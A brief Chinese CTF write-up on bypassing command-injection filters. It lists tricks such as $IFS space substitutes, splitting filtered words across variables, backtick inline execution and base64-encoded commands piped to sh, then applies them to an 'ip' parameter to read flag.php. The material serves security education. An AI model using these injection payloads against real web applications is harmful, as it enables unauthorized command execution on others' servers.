知识点
1、绕过空格
${IFS}
$IFS$9
$IFS
<
<>
,
%20
%09
2、变量拼接
有时候可能后台过滤了某个字符串,我们可以将这个字符串中的字符出现顺序颠倒,并用变量名来代替
例如过滤了union
选择a=ion;un$a
代替
3、linux下反引号内联执行,linux下反引号``里面包含的就是需要执行的系统命令
4、当过滤了bash命令时,可能可以换用sh命令,sh的大部分脚本都可以在bash下运行
更多绕过方法参考
waf绕过方法
命令执行绕过小技巧
题解:
?ip=1%20|%20ls
提示不能使用空格
?ip=1|ls
发现了flag.php
和index.php
cat${IFS}flag.php
好像有什么符号又被过滤了,换一种空格绕过?ip=1|cat$IFS$9flag.php
flag被过滤了
那就看看index.php吧
发现flag四个字符按照顺序排列被绕过了
?ip=1;a=g;cat$IFS$1fla$a.php
另外的方法
内联执行
?ip=1|cat$IFS$1`ls`
sh命令
?ip=1|echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
#Y2F0IGZsYWcucGhw为cat flag.php的base64编码